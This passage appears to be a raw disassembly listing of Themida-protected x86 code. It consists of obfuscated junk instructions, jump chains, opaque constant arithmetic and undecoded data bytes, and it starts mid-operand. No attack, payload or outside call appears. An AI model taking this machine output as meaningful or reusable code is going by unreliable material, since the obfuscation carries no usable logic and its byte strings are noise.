[edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp jmp loc_58F533 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 51E78957h, 4C28C9B9h, 5DE98147h, 0F0C9351h, 99A486h dd 68E98100h, 13AB8D7h, 0C78359CFh, 4CD3E904h, 805A0000h dd 24E924EEh, 31000099h, 30E92404h db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E473: ; CODE XREF: Themida_:00594C1Aj pop ebx add eax, esi mov esi, [esp] add esp, 4 push 47F4h mov [esp], esi mov esi, 7E3078DEh sub esi, 0F3703EEh dec esi jmp loc_598385 ; --------------------------------------------------------------------------- loc_58E498: ; CODE XREF: Themida_:00593B08j mov [esp], ebp mov ebp, esp push ebx jmp loc_58FDF3 ; --------------------------------------------------------------------------- db 1 dd 0F3E95EF7h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E4AB: ; CODE XREF: Themida_:00595258j pop ebx add ecx, ebx pop ebx add ecx, 4 jmp loc_5976E8 ; --------------------------------------------------------------------------- dw 0E801h dd 51E9525Dh, 59FFFFFEh, 3EB7E9h, 243C8B00h, 0FFE04EE9h db 0FFh ; --------------------------------------------------------------------------- loc_58E4D1: ; CODE XREF: Themida_:005909BEj mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] shr ebx, 2 inc ebx jmp loc_593A82 ; --------------------------------------------------------------------------- dword_58E4E8 dd 8CE9028Fh, 80FFFFCEh, 0D3F6CAF3h, 805EEB80h, 526628C3h ; DATA XREF: Themida_:0058B1A0o dd 0A2E966B2h, 0F7000082h, 0BEF81D7h, 8127423Dh, 0C90D0AC7h dd 81DFF71Dh, 0D7A96DF7h, 51ACE98Ch, 0E9580000h, 1553h dd 0DB868h, 243C8900h, 42474FFh, 24048F5Fh, 0E924248Bh dd 0FFFFD01Ch, 4BE56h, 0F3010000h, 89C8E9h, 0CE2DE900h dd 0E956FFFFh, 0FFFFE079h ; --------------------------------------------------------------------------- loc_58E554: ; CODE XREF: Themida_:00591348j mov esi, 4 add ebp, esi pop esi push edx mov edx, 5EAD1865h jmp loc_592ED6 ; --------------------------------------------------------------------------- loc_58E567: ; CODE XREF: Themida_:00596A4Ej pop ecx inc eax push eax dec dword ptr [esp] pop eax add eax, 0F92BC0B2h sub ebp, 109043EFh add ebp, eax push eax mov eax, 109043EFh jmp loc_5980FD ; --------------------------------------------------------------------------- loc_58E586: ; CODE XREF: Themida_:0058D690j add esp, 4 not edi xor edx, edi xor edi, edx xor edx, edi push edi mov edi, 47375C2Fh dec edi add edi, 57C478C4h inc edi jmp loc_592078 ; --------------------------------------------------------------------------- loc_58E5A7: ; CODE XREF: Themida_:0058C2ABj add dword ptr [esp], 4 pop edi add edi, 4 push ebp mov ebp, 4 sub edi, ebp jmp loc_594229 ; --------------------------------------------------------------------------- loc_58E5BF: ; CODE XREF: Themida_:00591FE8j push ebp mov ebp, 7E3E5C02h and ebp, 635B7942h neg ebp sub ebp, 54AB7D0Ch dec ebp push edx mov edx, 493A2AF5h xor ebp, edx pop edx jmp loc_5972DF ; --------------------------------------------------------------------------- loc_58E5E2: ; CODE XREF: Themida_:0059668Ej not edi shr edi, 3 sub edi, 13B27450h add ebx, edi pop edi jmp loc_594252 ; --------------------------------------------------------------------------- db 4Bh, 0D1h, 0EBh dd 3D1EC381h, 0DD01C7EBh, 4EC835Bh, 0FF242C89h, 0E9042474h dd 0FFFFEAE8h dword_58E610 dd 5257AD66h, 7033BA66h, 66DAF766h, 37B5EA81h, 9F6D830Fh ; DATA XREF: Themida_:0058B23Co dd 51660000h, 0FFF9B8E9h, 0ED8857FFh ; --------------------------------------------------------------------------- loc_58E630: ; CODE XREF: Themida_:00596218j push esi mov esi, 15B16EFAh sub esi, 0B41964F6h add edx, esi pop esi push esi mov esi, 4A2105A8h add esi, 29A11F75h sub esi, 432C2EEDh jmp loc_5980BC ; --------------------------------------------------------------------------- dw 5D54h dd 4C581h, 0C5810000h, 4, 0E9242C87h, 0FFFFF1E7h, 0FFCD0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_58E671: ; CODE XREF: Themida_:0058B67Dj sub bl, 2Bh mov dx, [esp] add esp, 2 push ebx mov ebx, 11786562h neg ebx jmp loc_595810 ; --------------------------------------------------------------------------- db 0Fh dd 0FFEC6C80h, 42E981FFh, 0E99336F2h, 2908h ; --------------------------------------------------------------------------- loc_58E69C: ; CODE XREF: Themida_:0058EBCDj mov esi, 71C547BBh add esi, 678D2709h xor esi, 0C4585FC5h add ebx, esi pop esi push ebx pop edi jmp loc_593470 ; --------------------------------------------------------------------------- db 5Eh dd 8104C483h, 7F20242Ch, 4010C86h, 24048124h, 0C867F20h dd 6C2EE9h db 0 ; --------------------------------------------------------------------------- loc_58E6D1: ; CODE XREF: Themida_:005904D3j pop ebp push edx push esi push ecx pop esi mov edx, esi pop esi mov edi, edx pop edx jmp loc_597C8F ; --------------------------------------------------------------------------- loc_58E6E1: ; CODE XREF: Themida_:0059204Bj push ecx mov ch, 0C9h add bl, ch pop ecx movzx eax, al lea eax, [edi+eax*4] push 51DAh mov [esp], eax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58E6FA: ; CODE XREF: Themida_:00593947j jmp loc_58CC46 ; --------------------------------------------------------------------------- loc_58E6FF: ; CODE XREF: Themida_:0058CD32j add eax, 676F20FFh push eax pop edx jmp loc_58DECB ; --------------------------------------------------------------------------- db 81h dd 66F4FEBh, 0A6E95F1Eh db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E717: ; CODE XREF: Themida_:00595337j ; Themida_:0059858Ej add esp, 4 jmp loc_58B91E ; --------------------------------------------------------------------------- aMfss db '╛fSИ>',7,0 ; DATA XREF: Themida_:0058B0F8o db 0 ; --------------------------------------------------------------------------- loc_58E727: ; CODE XREF: Themida_:0058F124j push ebp mov ebp, 51100DCFh sub ebp, 51100DCBh add edx, ebp pop ebp add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop edx push 5Ah mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx add ebx, 4 push ebx jmp loc_593DFE ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFFD49Ah ; --------------------------------------------------------------------------- loc_58E77C: ; CODE XREF: Themida_:0058CDC2j jno loc_5953DC not eax push edx mov edx, 55D41E9Dh mov esi, ebx mov [esp], ecx mov cl, 61h push edx mov dh, 0EFh or dh, 1Fh jno loc_592D15 add dh, 21h xor dh, 0C5h push ebx mov bh, dh mov al, bh pop ebx pop edx mov ebp, ecx pop ecx add esi, ebp pop ebp jmp loc_593096 ; --------------------------------------------------------------------------- db 0C0h, 0EDh, 5 dd 78C5E9h, 4EC8100h, 89000000h, 0E189240Ch, 4C181h, 47680000h dd 0E9000053h, 2EB0h ; --------------------------------------------------------------------------- loc_58E7D8: ; CODE XREF: Themida_:0058B5BBj add ecx, 4 add ecx, 4 jmp loc_591AAE ; --------------------------------------------------------------------------- loc_58E7E9: ; CODE XREF: Themida_:005926ABj mov dh, 0F9h xor dh, 0B4h shr dh, 4 neg dh push ecx mov cl, 37h sub cl, 21h and dh, cl pop ecx dec dh xor dh, 3Dh add al, dh pop edx jmp loc_591A67 ; --------------------------------------------------------------------------- loc_58E809: ; CODE XREF: Themida_:00596BE7j add al, 0F8h push ebx mov bh, 3 sub al, bh pop ebx sub al, bl push 0F9Bh mov [esp], edx mov dh, 3 add al, dh pop edx jmp loc_59175C ; --------------------------------------------------------------------------- loc_58E825: ; CODE XREF: Themida_:00590915j push esi mov esi, esp add esi, 4 jmp loc_596840 ; --------------------------------------------------------------------------- db 66h dd 0E94C16B9h, 6732h ; --------------------------------------------------------------------------- loc_58E83C: ; CODE XREF: Themida_:005903A7j movzx cx, al push cx pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58E848: ; CODE XREF: Themida_:0058B544j ; Themida_:005914B7j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp or [esp], al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- db 86h dd 67C580D5h, 0E9AFEB80h, 0FFFFE1F9h, 4C481h, 29660000h dd 348B66F3h, 2C48124h, 0F000000h, 0AF68C0B7h, 0E9000048h dd 7CE9h ; --------------------------------------------------------------------------- loc_58E888: ; CODE XREF: Themida_:0058BA65j pop edi inc esi jmp loc_594C12 ; --------------------------------------------------------------------------- loc_58E88F: ; CODE XREF: Themida_:0058FB39j push dx mov dh, 5Ch add cl, dh pop dx jmp loc_58F129 ; --------------------------------------------------------------------------- loc_58E89C: ; CODE XREF: Themida_:00598502j dec ebx jnp loc_597844 push edi push ecx push 26A019Dh jmp loc_58F4F6 ; --------------------------------------------------------------------------- loc_58E8AF: ; CODE XREF: Themida_:0058EE97j pop edi pop edx sub edi, 396CB62Ch add ebx, edi mov edi, [esp] add esp, 4 add ebp, ebx pop ebx push edi mov edi, 2 add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov ax, [esp] push esi push 2CB8h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_596ABE ; --------------------------------------------------------------------------- loc_58E8F2: ; CODE XREF: Themida_:00594AD5j shr eax, 7 jnp loc_58F7D2 xor eax, 3F8D4EFAh mov edi, eax pop eax dec edi jmp loc_5969EA ; --------------------------------------------------------------------------- db 5Ah ; --------------------------------------------------------------------------- loc_58E90A: ; CODE XREF: Themida_:00596988j pop edx sub edi, 0B74E9808h jmp loc_58CF3F ; --------------------------------------------------------------------------- word_58E916 dw 8B66h ; DATA XREF: Themida_:0058B130o dd 4568240Ch, 8900003Dh, 0E2892414h, 31406853h, 0E95B2795h dd 550Bh ; --------------------------------------------------------------------------- loc_58E930: ; CODE XREF: Themida_:00593839j xor edx, 7F14679Ah push edx xor dword ptr [esp], 9C654EAh mov eax, [esp] add esp, 4 push 6489h jmp loc_58E1BB ; --------------------------------------------------------------------------- loc_58E951: ; CODE XREF: Themida_:0058DF69j sub ch, 0 add ch, 6 sub al, ch jmp loc_5976E1 ; --------------------------------------------------------------------------- loc_58E95E: ; CODE XREF: Themida_:00595597j pop dx mov dl, bh jmp loc_59831C ; --------------------------------------------------------------------------- db 33h dd 2AE9240Ch, 66000096h, 57E9008Fh, 5800005Bh, 2C281h dd 90E90000h db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E983: ; CODE XREF: Themida_:00594F3Cj add ebp, edx jmp loc_591945 ; --------------------------------------------------------------------------- dw 8158h dd 4EBh, 241C8700h, 8924248Bh, 38E9240Ch db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E99F: ; CODE XREF: Themida_:0058F866j and eax, ecx jmp loc_593417 ; --------------------------------------------------------------------------- dw 0EF81h dd 12FD31E5h, 30ADC781h, 6FE93731h, 0F000070h, 0FFF18484h dd 6F681FFh, 317A4844h, 243C8BFEh, 4C481h, 3DE90000h, 83000039h dd 0EB81FFC3h, 6C382915h, 2B75E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E9E2: ; CODE XREF: Themida_:0058C4ABj imul cx push small 5917h jmp loc_58D17E ; --------------------------------------------------------------------------- loc_58E9EE: ; CODE XREF: Themida_:00596458j jmp loc_592CBA ; --------------------------------------------------------------------------- db 68h dd 2E1Ch, 81240489h, 4ECh, 24248900h, 1332E9h, 57890F00h dd 0E9000043h, 8838h ; --------------------------------------------------------------------------- loc_58EA14: ; CODE XREF: Themida_:00591EA6j add esp, 4 push 1F3Ah mov [esp], edx mov edx, 6331EFDh sub ebx, edx pop edx and eax, ebx mov ebx, [esp] add esp, 4 shr eax, 0Ch jmp loc_598625 ; --------------------------------------------------------------------------- loc_58EA3A: ; CODE XREF: Themida_:00597183j and esi, 3BDA1FE7h jbe loc_591E76 jmp loc_58F50F ; --------------------------------------------------------------------------- db 81h dd 27643BEFh, 0C3F7814Ah, 1B5DBF1h, 0A7E95FF9h db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58EA5F: ; CODE XREF: Themida_:00597F07j mov dl, cl jmp loc_58B94E ; --------------------------------------------------------------------------- aSa db '\ИМ^',0 align 4 aFysZskf db 'fYS╥╖ИKF',0 align 2 dw 0F180h dd 0F800FC6h, 50FFFFE4h, 0EC80DFB4h, 0C3F480A3h, 9CC180h dd 6FF8E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58EA92: ; CODE XREF: Themida_:005954DDj xchg edi, [esp] pop esp mov [esp], edx push esp pop edx add edx, 4 push 7701h mov [esp], esi jmp loc_5905CB ; --------------------------------------------------------------------------- aTqPeSx db '╩#',8,'tq╬$}p╔)чИx>',0 db 0 byte_58EABF db 83h ; DATA XREF: Themida_:0058B1D8o dd 896602ECh, 0FF662434h, 66022474h, 48F665Eh, 0E1686624h dd 3489660Ch, 14876624h, 66526624h, 66243487h, 8766D6F7h dd 5A662434h, 24148766h, 24348B66h, 5E08950h, 4, 2BA52h dd 0D0010000h, 2EC9E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_58EB0A: ; CODE XREF: Themida_:00593C44j pop ebx push ebx mov bh, 0F9h sub bh, 0C7h or bh, 39h add bh, 63h add dl, bh mov ebx, [esp] add esp, 4 shr dl, 5 inc dl push ecx jmp loc_5975D1 ; --------------------------------------------------------------------------- loc_58EB2A: ; CODE XREF: Themida_:0058BC3Aj push eax mov eax, 20A2584Eh shr eax, 5 shl eax, 3 jmp loc_595AED ; --------------------------------------------------------------------------- db 5Bh dd 815AD101h, 0E506A5F1h, 6F02D74h, 0C80176BAh, 0BA06F005h dd 10E2E976h, 89660000h, 1CE92404h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EB5F: ; CODE XREF: Themida_:00592789j sub al, bl add al, 9 add al, 0BBh push 2249h mov [esp], ecx push eax mov al, 86h mov cl, 0 xor cl, al push dword ptr [esp] pop eax add esp, 4 jmp loc_594A12 ; --------------------------------------------------------------------------- db 81h dd 0C4572DC6h, 2913E97Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58EB8E: ; CODE XREF: Themida_:005902A1j mov [esp], edi mov edi, 0D15566Fh shr edi, 2 push esi mov esi, 9D2EE02Ch sub edi, esi push dword ptr [esp] jmp loc_58C42F ; --------------------------------------------------------------------------- loc_58EBA9: ; CODE XREF: Themida_:00597597j pop eax add ch, dl pop edx jmp loc_594AFA ; --------------------------------------------------------------------------- loc_58EBB2: ; CODE XREF: Themida_:0059069Bj mov ebx, 3E1D2598h jmp loc_58C5EB ; --------------------------------------------------------------------------- dd 80FEC280h, 7E90FEAh db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EBC7: ; CODE XREF: Themida_:00594B36j shl ebx, 8 neg ebx push esi jmp loc_58E69C ; --------------------------------------------------------------------------- dw 0C2BDh dd 4D53B94Ch, 0EDC1DDF7h, 81DDF703h, 0F85E0DF5h, 96ED8142h dd 29BB3CBEh, 0CF215DE9h, 81240C8Bh, 4C4h, 7EE1E900h, 880F0000h dd 4F72h, 0FFF48EE9h db 0FFh ; --------------------------------------------------------------------------- loc_58EC09: ; CODE XREF: Themida_:0058B85Aj push eax mov eax, esp add eax, 4 push ebx mov ebx, 7766787h not ebx xor ebx, 0DB0DF943h neg ebx jmp loc_5958AA ; --------------------------------------------------------------------------- loc_58EC26: ; CODE XREF: Themida_:0058FA32j sub esi, 6DA04816h sub esi, 1 neg esi jmp loc_594B5F ; --------------------------------------------------------------------------- loc_58EC39: ; CODE XREF: Themida_:005983ADj mov edx, esp add edx, 4 add edx, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] jmp loc_58F2C2 ; --------------------------------------------------------------------------- dw 0B850h dd 72C122EAh, 3158C289h, 0CE815AD6h, 1E126BA0h, 78CDCE81h dd 81460851h, 0A5724BEEh, 7205E9C2h, 0F6800000h, 4E6C0BAh dd 0C680CEFEh, 8BF000EDh, 0E7E92414h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EC8F: ; CODE XREF: Themida_:0058BD64j pop eax sub bl, al sub bl, 19h push dx mov dl, 89h add bl, 2Bh jmp loc_58B67B ; --------------------------------------------------------------------------- aUuMUM1slS db '╫·u',8,'m╦ u',8,'m1Х▀,$Ид[',0 db 0 ; --------------------------------------------------------------------------- loc_58ECB5: ; CODE XREF: Themida_:00593981j add edi, 4 xchg edi, [esp] pop esp push ebp push esi mov esi, 31DC6216h mov ebp, esi pop esi shl ebp, 8 or ebp, 3257141Dh add ebp, 674784Dh shr ebp, 5 jmp loc_59459D ; --------------------------------------------------------------------------- loc_58ECE0: ; CODE XREF: Themida_:0059698Fj sub bl, dh jmp loc_58B6C8 ; --------------------------------------------------------------------------- loc_58ECE7: ; CODE XREF: Themida_:0058F826j or dh, 62h and dh, 0B9h xor dh, 0C4h sub ch, dh pop edx add dh, ch pop ecx sub esp, 2 mov [esp], bx jmp loc_595220 ; --------------------------------------------------------------------------- db 55h, 81h, 0ECh dd 4, 0BE243489h, 0D110E8Eh, 860FDEF7h, 0FFFFE899h, 626A68h dd 24048900h, 4582E957h, 0F75B0000h, 0F75B2414h, 81E3D1DBh dd 0FC641BE3h, 1CF3811Ah, 0E910B844h, 1A28h, 1041055Fh dd 0D001289Ch, 0F40FE957h, 0E95BFFFFh, 160Ah ; --------------------------------------------------------------------------- loc_58ED58: ; CODE XREF: Themida_:00597B62j xor ah, 51h jmp loc_593BBF ; --------------------------------------------------------------------------- loc_58ED60: ; CODE XREF: Themida_:0058F58Bj sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push ecx mov ecx, 4 jmp loc_58F4AF ; --------------------------------------------------------------------------- loc_58ED82: ; CODE XREF: Themida_:0059857Aj push 7D74h mov [esp], ebp xchg eax, [esp] jmp loc_58D34C ; --------------------------------------------------------------------------- loc_58ED92: ; CODE XREF: Themida_:00591FF3j pop esp and ecx, eax mov eax, [esp] push edi mov edi, esp jmp loc_5918E7 ; --------------------------------------------------------------------------- loc_58EDA0: ; CODE XREF: Themida_:00595C0Ej pop ebx jmp loc_595909 ; --------------------------------------------------------------------------- dw 0E9C1h dd 15E98103h, 31889AE7h, 0EA0159CDh, 81242C8Bh, 4C4h, 1B22E900h dd 0C1810000h, 24191EFEh, 83A3E9h db 0 aMAssz db '╛,МИsz',0 ; DATA XREF: Themida_:0058B308o db 0 ; --------------------------------------------------------------------------- loc_58EDD5: ; CODE XREF: Themida_:0058E1C3j xor eax, ecx pop ecx mov edx, [esp] sub esp, 4 jmp loc_591638 ; --------------------------------------------------------------------------- db 0B8h dd 27845D00h, 6628E9h, 24248B00h, 0FFF4A2E9h, 8EE950FFh dd 89000046h, 74FF2434h, 8F5E0424h, 895C2404h, 0CB82404h dd 0E9136375h, 6F82h dword_58EE14 dd 8904EC83h, 0FF68240Ch, 8BFFFFFBh, 8957240Ch, 4C781E7h ; DATA XREF: Themida_:0058B194o dd 83000000h, 3C8704C7h, 4F215C24h, 240C8B1Ch, 8904EC83h dd 0B1682404h, 89000047h, 75E92424h, 8100002Bh, 0DA6D11C6h dd 3E6C13Bh, 3863C681h, 0F68113B1h, 0F2A52167h, 584AE9h dd 67B05000h, 0FADE9h, 24148900h, 0BE9E289h db 0C8h, 2 dup(0FFh) byte_58EE77 db 8Fh ; DATA XREF: Themida_:0058B14Co dd 1C2BE902h, 0DEF70000h, 1420800Fh, 0CE90000h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EE8B: ; CODE XREF: Themida_:0059221Fj pop esp jmp loc_592B5C ; --------------------------------------------------------------------------- loc_58EE91: ; CODE XREF: Themida_:0059521Bj sub esp, 4 mov [esp], edx jmp loc_58E8AF ; --------------------------------------------------------------------------- dword_58EE9C dd 240C8B66h, 7748E9h, 4C38100h, 56000000h, 9925A5BEh ; DATA XREF: Themida_:0058B0ECo dd 8EEC15Fh, 30F2E681h, 15E92913h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58EEBF: ; CODE XREF: Themida_:005984DAj add eax, edi pop edi jmp loc_58D26E ; --------------------------------------------------------------------------- loc_58EEC7: ; CODE XREF: Themida_:0058FDB1j mov edi, esp jmp loc_58C902 ; --------------------------------------------------------------------------- loc_58EECE: ; CODE XREF: Themida_:00597E43j xchg esi, [esp] pop esp mov [esp], ecx jmp loc_58E1EA ; --------------------------------------------------------------------------- dw 0EA81h dd 0A842F74h, 4A1AE9h, 56E95800h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58EEEB: ; CODE XREF: Themida_:0058C9A7j sub edi, ebx jmp loc_5966A3 ; --------------------------------------------------------------------------- dw 0FA09h dd offset loc_4309E9 db 0 ; --------------------------------------------------------------------------- loc_58EEF9: ; CODE XREF: Themida_:0058D27Dj mov ecx, [esp] add esp, 4 xchg eax, [esp] jmp loc_58B5C0 ; --------------------------------------------------------------------------- loc_58EF07: ; CODE XREF: Themida_:00591C1Aj and ebx, ecx pop ecx sub ebx, 406291Ch add ebp, ebx jmp loc_58BEB1 ; --------------------------------------------------------------------------- db 0E9h dd 37E5h ; --------------------------------------------------------------------------- loc_58EF1C: ; CODE XREF: Themida_:0058BFF6j or ecx, 48132CAAh xor ecx, 0CCD4CAC0h sub edx, ecx jmp loc_59564C ; --------------------------------------------------------------------------- db 5 dd 7A44530Fh, 5858C729h, 31243C33h, 3C33243Ch, 88645C24h dd 0C431E902h, 0C681FFFFh, 7A607138h, 0EE81DE01h, 7A607138h dd 0FFE8EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_58EF5D: ; CODE XREF: Themida_:005943CEj pop edi xor edi, 17F27C7Bh jge loc_5940F0 jmp loc_58F160 ; --------------------------------------------------------------------------- db 0E9h dd 2C5h, 0C8856658h, 0C3FDE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EF7E: ; CODE XREF: Themida_:0058D8EEj push ebp mov ebp, 1DD20E24h mov ebx, 25CE2FF2h xor ebx, ebp pop ebp mov edx, 381C21D2h xor edx, ebx jmp loc_5917B4 ; --------------------------------------------------------------------------- loc_58EF98: ; CODE XREF: Themida_:00593CE2j ; Themida_:005972D2j add esp, 4 push 6305h mov [esp], ecx push edi mov edi, 42816379h shl edi, 3 add edi, 0EBF4E638h mov ecx, edi pop edi jmp loc_595B6D ; --------------------------------------------------------------------------- byte_58EFBD db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058B2A8o dd 4EC8324h, 60D0E9h, 243C8700h, 0FFD458E9h, 7E3C0FFh dd 28C0B551h, 0F38059EBh, 5BD98857h, 0E947B353h, 0FFFFDE29h dword_58EFE8 dd 0E924248Bh, 22F1h; --------------------------------------------------------------------------- loc_58EFF0: ; CODE XREF: Themida_:00596AE8j pop ecx add esp, 4 jmp loc_597908 ; --------------------------------------------------------------------------- aSpb db ')ьИ▐B',0 align 10h dd 4B9h, 0E030500h, 0C829061Eh, 45C5E9h, 6B5A6800h, 2E90000h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58F01B: ; CODE XREF: Themida_:00590AB8j xor ebp, eax xor eax, ebp xor ebp, eax not eax xchg eax, ebp xchg ebp, edx sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov eax, [esp] jmp loc_58F82B ; --------------------------------------------------------------------------- loc_58F03C: ; CODE XREF: Themida_:0058BB0Aj jmp loc_58DDD2 ; --------------------------------------------------------------------------- loc_58F041: ; CODE XREF: Themida_:005976B8j push esi mov esi, esp add esi, 4 push eax mov eax, 4 sub esi, eax pop eax jmp loc_5911E0 ; --------------------------------------------------------------------------- dd 0A04BD55h, 0C5813A20h, 6124FD3h, 0EDC1DDF7h, 98ED8103h dd 0E9CABD55h, 7CACh ; --------------------------------------------------------------------------- loc_58F074: ; CODE XREF: Themida_:00593A4Dj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58F079: ; CODE XREF: Themida_:0058CCA3j sub dword ptr [esp], 50365834h pop dword ptr [edi+20h] jmp loc_594FD2 ; --------------------------------------------------------------------------- loc_58F088: ; CODE XREF: Themida_:0058D048j sub ebx, 6CED02F9h jmp loc_595C13 ; --------------------------------------------------------------------------- db 81h dd 7F203AC1h, 81F90172h, 7F203AE9h, 8B018B72h, 6BE9240Ch dd 59FFFFECh, 64BAE9h db 0 ; --------------------------------------------------------------------------- loc_58F0B1: ; CODE XREF: Themida_:00595064j ; Themida_:005982F0j push edi push edx mov edx, 38867095h mov edi, edx pop edx jmp loc_59218B ; --------------------------------------------------------------------------- dd 2FEDE9h, 4055800h, 0E9000000h, 6D77h ; --------------------------------------------------------------------------- loc_58F0D0: ; CODE XREF: Themida_:00590FFBj xchg esi, ecx neg ecx neg ecx sub ecx, 0D7B1C637h mov ebx, ecx pop ecx mov ecx, 1A3F2FC3h xor ecx, ebx pop ebx sub ecx, 1903176Fh add ecx, edi add ecx, 1903176Fh jmp loc_590677 ; --------------------------------------------------------------------------- loc_58F0FA: ; CODE XREF: Themida_:00591852j push ebx mov ebx, 70B01BBEh mov esi, 0CC562934h add esi, ebx pop ebx add [esp+4], esi mov esi, [esp] push esi mov esi, esp add esi, 4 jmp loc_594D23 ; --------------------------------------------------------------------------- loc_58F11D: ; CODE XREF: Themida_:0058D36Ej pop dword ptr [esp] pop esp push edx mov edx, esp jmp loc_58E727 ; --------------------------------------------------------------------------- loc_58F129: ; CODE XREF: Themida_:0058E897j mov edx, [esp] add esp, 4 add al, 7Fh add al, cl push edx jmp loc_594DB3 ; --------------------------------------------------------------------------- dd 0C104C483h, 0C78104EFh, 33000E53h, 62B6B850h, 0C7293A5Dh dd 5FFB0158h, 5AE1E9h db 0 ; --------------------------------------------------------------------------- loc_58F159: ; CODE XREF: Themida_:0058FDDAj add eax, esi jmp loc_590395 ; --------------------------------------------------------------------------- loc_58F160: ; CODE XREF: Themida_:0058EF6Aj and ebx, 23D25EE9h xor ebx, 7B711058h sub edi, ebx pop ebx add edi, 0EFD38459h jmp loc_5926F1 ; --------------------------------------------------------------------------- loc_58F17A: ; CODE XREF: Themida_:0058C016j mov [esp], eax push ebp pop eax jmp loc_58CBFF ; --------------------------------------------------------------------------- loc_58F184: ; CODE XREF: Themida_:0058B959j pop eax pop ecx jmp loc_58C229 ; --------------------------------------------------------------------------- db 32h dd 3001247Ch, 0F601247Ch, 247C30D7h, 247C3201h, 3546E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F1A2: ; CODE XREF: Themida_:0058FDC4j mov esi, 74999BC4h sub edx, esi pop esi sub edi, edx push dword ptr [esp] jmp loc_5958C5 ; --------------------------------------------------------------------------- loc_58F1B4: ; CODE XREF: Themida_:0059581Bj and ebx, edi mov edi, [esp] push edi mov edi, esp jmp loc_58CBB3 ; --------------------------------------------------------------------------- loc_58F1C1: ; CODE XREF: Themida_:00593EF5j push dword ptr [esp] jmp loc_59405B ; --------------------------------------------------------------------------- loc_58F1C9: ; CODE XREF: Themida_:0059831Dj shr dl, 6 jmp loc_591362 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0D988D1B3h, 19FDE9h db 0 ; --------------------------------------------------------------------------- loc_58F1DD: ; CODE XREF: Themida_:00595311j sub eax, 226E0CECh sub eax, 2FC5671h add eax, ecx add eax, 2FC5671h jmp loc_58DDE5 ; --------------------------------------------------------------------------- loc_58F1F3: ; CODE XREF: Themida_:0058FC74j xor [esp], edi xor edi, [esp] xor [esp], edi pop ebp xor ebp, 0BBED95E6h jmp loc_5916AC ; --------------------------------------------------------------------------- dword_58F208 dd 9D1C77FFh, 4185866h, 64E99C24h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F217: ; CODE XREF: Themida_:0058BEFEj pop edx xchg ebx, [esp] mov esp, [esp] jmp loc_59244C ; --------------------------------------------------------------------------- byte_58F223 db 0FFh ; DATA XREF: Themida_:0058B10Co a4Xs db '4$XИж+',0 align 4 dd 285BD800h, 2434FFC3h, 6F5AE9h, 39456800h, 0E9595879h dd 73D1h, 2E7B0EBFh, 0CCC78138h, 0E9705A0Ch, 0FFFFF2AFh ; --------------------------------------------------------------------------- loc_58F254: ; CODE XREF: Themida_:00597A12j neg esi xchg esi, ebx push ebp mov ebp, 78A21056h not ebp and ebp, 3F340A6Ch push 0 sub [esp], ebp pop ebp xchg edx, ebp dec edx xchg edx, ebp push eax mov eax, 0F746A9EBh sub ebp, eax push dword ptr [esp] jmp loc_592AEB ; --------------------------------------------------------------------------- dd 0FFC0F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_58F289: ; CODE XREF: Themida_:0058CC5Ej mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 push 6F37h mov [esp], edx push ebx mov ebx, 48916A99h jmp loc_58DAE3 ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 7D1h ; --------------------------------------------------------------------------- loc_58F2B4: ; CODE XREF: Themida_:0058FC8Dj sub edi, 5A4025A4h mov esi, [esp] jmp loc_596737 ; --------------------------------------------------------------------------- loc_58F2C2: ; CODE XREF: Themida_:0058EC51j pop edx jmp loc_59354D ; --------------------------------------------------------------------------- loc_58F2C8: ; CODE XREF: Themida_:00593659j jb loc_5932F2 inc edx jl loc_58CE42 jge loc_58DAFA pop edx push edx mov edx, 34941793h sub [esp+8], edx pop edx push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop edx push esi push 607Dh mov [esp], esp add dword ptr [esp], 4 